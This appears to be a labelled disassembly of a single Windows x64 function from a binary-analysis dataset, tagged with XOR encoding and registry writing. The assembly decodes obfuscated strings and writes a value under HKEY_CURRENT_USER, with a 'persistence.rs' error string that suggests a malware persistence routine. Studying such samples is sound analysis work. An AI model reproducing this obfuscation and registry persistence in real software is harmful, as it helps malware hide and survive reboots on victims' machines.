Function at 0x140018482
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x258
mov rsi, rcx
call fcn.1400183f8
test al, al
je 0x14001866f
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], 0x12
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.14014d8d0
mov r12b, byte [rsi + 0x18]
mov rbp, qword [rsi]
cmp r12b, 2
je 0x14001869e
lea rsi, [rsp + 0x130]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rsp + 0x220], xmm0
mov eax, dword [rsi + 0x19]
mov dword [rsp + 0x88], eax
mov eax, dword [rsi + 0x1c]
mov dword [rsp + 0x8b], eax
lea rdi, [rsp + 0xe8]
mov rcx, rdi
call fcn.14014d260
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rdi, [rsp + 0x48]
mov rcx, rdi
call fcn.1401627b0
lea rax, [rsp + 0x1e0]
mov qword [rax], rdi
lea rcx, [0x14010e70d]
mov qword [rax + 8], rcx
lea r14, [rsp + 0x118]
mov qword [rax + 0x10], r14
lea r15, [0x140037710]
mov qword [rax + 0x18], r15
mov qword [rsi], 0
lea rcx, [0x140371678]
mov qword [rsi + 0x10], rcx
mov ecx, 2
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], rcx
lea rcx, [rsp + 0xd0]
mov rdx, rsi
call fcn.140030660
cmp qword [rdi], 0
je 0x1400185a9
cmp qword [rsp + 0x50], 0
je 0x1400185a9
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xb0], xmm0
mov r9, qword [rsp + 0xe0]
mov qword [rsp + 0xc0], r9
lea rbx, [rsp + 0x130]
mov qword [rbx], rbp
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [rbx + 8], xmm0
mov byte [rbx + 0x18], r12b
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rbx + 0x19], eax
mov dword [rbx + 0x1c], ecx
mov rdi, qword [rsp + 0xb8]
lea r12, [rsp + 0x48]
mov rcx, r12
mov rdx, rbx
mov r8, rdi
call fcn.14012d9d3
cmp qword [r12], 0
je 0x1400187f0
mov rsi, qword [rsp + 0x50]
cmp qword [rsp + 0xb0], 0
je 0x140018640
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
je 0x140018662
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x130], rsi
jmp 0x140018c77
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 0x12
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.14014d8d0
mov bl, byte [rsi + 0x18]
mov rbp, qword [rsi]
cmp bl, 2
jne 0x1400186b4
mov qword [rsp + 0x130], rbp
test rbp, rbp
jne 0x140018c77
jmp 0x140018c84
lea rsi, [rsp + 0x130]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rsp + 0xb0], xmm0
mov eax, dword [rsi + 0x19]
mov dword [rsp + 0x108], eax
mov eax, dword [rsi + 0x1c]
mov dword [rsp + 0x10b], eax
lea rdi, [rsp + 0xe8]
mov rcx, rdi
call fcn.14014d260
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rdi, [rsp + 0x48]
mov rcx, rdi
call fcn.1401627b0
lea r14, [rsp + 0x1e0]
mov qword [r14], rdi
lea rax, [0x14010e70d]
mov qword [r14 + 8], rax
lea rax, [rsp + 0x90]
mov qword [r14 + 0x10], rax
lea rax, [0x140037710]
mov qword [r14 + 0x18], rax
mov qword [rsi], 0
lea rax, [0x140371678]
mov qword [rsi + 0x10], rax
mov eax, 2
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x28], rax
lea rcx, [rsp + 0xd0]
mov rdx, rsi
call fcn.140030660
cmp qword [rdi], 0
je 0x140018783
cmp qword [rsp + 0x50], 0
je 0x140018783
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
lea rdx, [rsp + 0x130]
mov qword [rdx], rbp
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rdx + 8], xmm0
mov byte [rdx + 0x18], bl
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [rdx + 0x19], eax
mov dword [rdx + 0x1c], ecx
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov r8, rsi
mov r9, rdi
call fcn.14012d9d3
cmp qword [rbx], 0
je 0x140018b5e
mov rdi, qword [rsp + 0x50]
jmp 0x140018c36
lea rax, [0x1402a373c]
lea rdi, [rsp + 0x130]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x586badf485067062
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.1400095fe
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x8002
xor dl, 0x1a
movzx ebp, dl
lea rdx, [rsp + 0x128]
mov byte [rdx + 6], bpl
shl rbp, 0x30
shl rax, 0x20
or rax, rbp
xor rcx, 0x3fd525f7
mov dword [rdx], ecx
shr rax, 0x20
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, rdi
call fcn.140167570
mov dword [rdi + 0xa8], 0x8000000
lea rdx, [0x1402af88a]
mov r8d, 2
mov rcx, rdi
call fcn.140167650
lea rax, [0x1402a685b]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
movabs rax, 0x1ee8db80fefbfd44
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
call fcn.1400088c5
xorps xmm0, xmm0
movaps xmmword [rsp + 0x90], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x1402af8e0]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebp, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r13d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebx, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbx, 0x28
shl rcx, 0x20
shl r13, 0x18
shl r11, 0x10
shl rbp, 8
or rbp, r8
or rbp, r11
or rbp, r13
or rbp, rcx
or rbp, rbx
or rbp, rsi
xor rbp, qword [rax + rdi]
mov qword [rsp + rdi + 0x90], rbp
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x1400188c5
mov ecx, 0xd126d7a3
xor ecx, dword [rax + 0x10]
lea rax, [rsp + 0x90]
mov dword [rax + 0x10], ecx
lea rsi, [rsp + 0x248]
mov qword [rsi], rax
mov qword [rsi + 8], 0x14
lea rax, [0x1402a617c]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
movabs rax, 0x67018792cbaffda4
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
call fcn.14000895e
movabs rcx, 0xfa8cbd3819fbe841
xor rcx, qword [rax]
lea rdx, [rsp + 0x238]
mov qword [rdx], rcx
mov ecx, 0xc85afe0d
xor ecx, dword [rax + 8]
mov dword [rdx + 8], ecx
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xadc0
mov word [rdx + 0xc], ax
xor cl, 0xf9
mov byte [rdx + 0xe], cl
lea rax, [rsp + 0x108]
mov qword [rax], rdx
mov qword [rax + 8], 0xf
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], r15
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x58], rcx
lea rcx, [0x140006df0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], r15
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 0
lea rax, [0x1402af890]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 5
mov qword [rdx + 0x20], r12
mov qword [rdx + 0x28], 4
lea rdi, [rsp + 0xd0]
mov rcx, rdi
call fcn.140030660
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x130]
mov rdx, rsi
call fcn.140167650
cmp qword [rdi], 0
je 0x140018ab5
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [rsp + 0x48]
lea rdx, [rsp + 0x130]
mov rcx, rsi
call fcn.140156f60
cmp dword [rsi + 0x10], 2
je 0x140018dd5
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movups xmm2, xmmword [rsp + 0x68]
movups xmm3, xmmword [rsp + 0x78]
lea rcx, [rsp + 0x1e0]
movaps xmmword [rcx + 0x30], xmm3
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.140004681
lea rcx, [rsp + 0x130]
call fcn.140004b7f
cmp qword [rsp + 0xb0], 0
je 0x140018b33
mov r8, qword [rsp + 0xb8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
je 0x140018c84
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140018c84
lea rax, [0x1402a77d0]
mov qword [rsp + 0x1e0], rax
mov rcx, qword [rsp + 0x1e0]
movabs rax, 0xd7cb49e8f09fb147
mov qword [rsp + 0x1e0], rax
mov rdx, qword [rsp + 0x1e0]
call fcn.140009feb
xorps xmm0, xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x1402af910]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x138], rbp
add rcx, 8
cmp rcx, 0x20
jb 0x140018bc1
mov ecx, 0xdcd706fd
xor ecx, dword [rax + 0x28]
lea rdx, [rsp + 0x130]
mov dword [rdx + 0x28], ecx
mov al, byte [rax + 0x2c]
xor al, 0xd9
mov byte [rdx + 0x2c], al
lea rbx, [rsp + 0x48]
mov r8d, 0x2d
mov rcx, rbx
call fcn.140030030
mov r8, qword [rbx + 0x10]
test r8, r8
je 0x140018c99
cmp qword [rsp + 0x50], 0
je 0x140018c2f
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, str.hP7_
test r12, r12
je 0x140018c4d
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
je 0x140018c6f
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x130], rdi
lea rcx, [rsp + 0x130]
call fcn.14006467d
nop
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov qword [rsp + 0x48], 0
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea r14, [rsp + 0x130]
mov rcx, r14
call fcn.140030030
mov r8, qword [r14 + 0x10]
test r8, r8
je 0x140018d1a
cmp qword [rsp + 0x138], 0
je 0x140018cef
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r15], 0
lea rdi, str.hP7_
test r13, r13
je 0x140018c36
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140018c36
mov r14, qword [rsp + 0x130]
mov rbp, qword [rsp + 0x138]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x140018d85
mov rcx, qword [rsp + 0x48]
add edi, edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rdx, r14
xor r8d, r8d
mov r9d, 1
call sub.advapi32.dll_RegSetValueExA
mov byte [r14], 0
test rbp, rbp
je 0x140018da0
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r15], 0
test r13, r13
je 0x140018dbb
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x140018b33
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
jmp 0x140018b2d
mov rax, qword [rsp + 0x48]
lea r8, [rsp + 0x1e0]
mov qword [r8], rax
lea rax, str.srcpersistence.rs_c__IT
mov qword [rsp + 0x20], rax
lea rcx, str.Errordepth
lea r9, fcn.14006467d
mov edx, 5
call fcn.1402a68e0
ud2